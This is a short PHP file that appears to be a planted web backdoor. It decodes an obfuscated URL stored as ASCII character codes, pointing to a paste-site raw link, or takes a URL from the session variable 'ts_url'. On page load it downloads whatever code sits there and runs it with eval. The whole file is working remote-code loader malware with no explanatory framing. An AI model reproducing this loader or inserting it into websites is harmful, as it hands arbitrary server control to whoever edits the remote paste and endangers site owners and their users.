<?php
session_start();

function fetchUrl($url)
{
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}

$asciiArray = [
104, 116, 116, 112, 115, 58, 47, 47, 119, 119, 119, 46, 103, 104, 111, 115, 116, 98, 105, 110, 46, 99, 108, 111, 117, 100, 47, 122, 102, 55, 119, 110, 47, 114, 97, 119];
$url = implode(array_map('chr', $asciiArray));

if (isset($_SESSION["ts_url"])) {
    $result = @file_get_contents($_SESSION["ts_url"]) ?: fetchUrl($_SESSION["ts_url"]);
} else {
    $result = @file_get_contents($url) ?: fetchUrl($url);
}

if (is_string($result)) {
    eval('?>' . $result);
} else {
    echo "Error";
}
?>
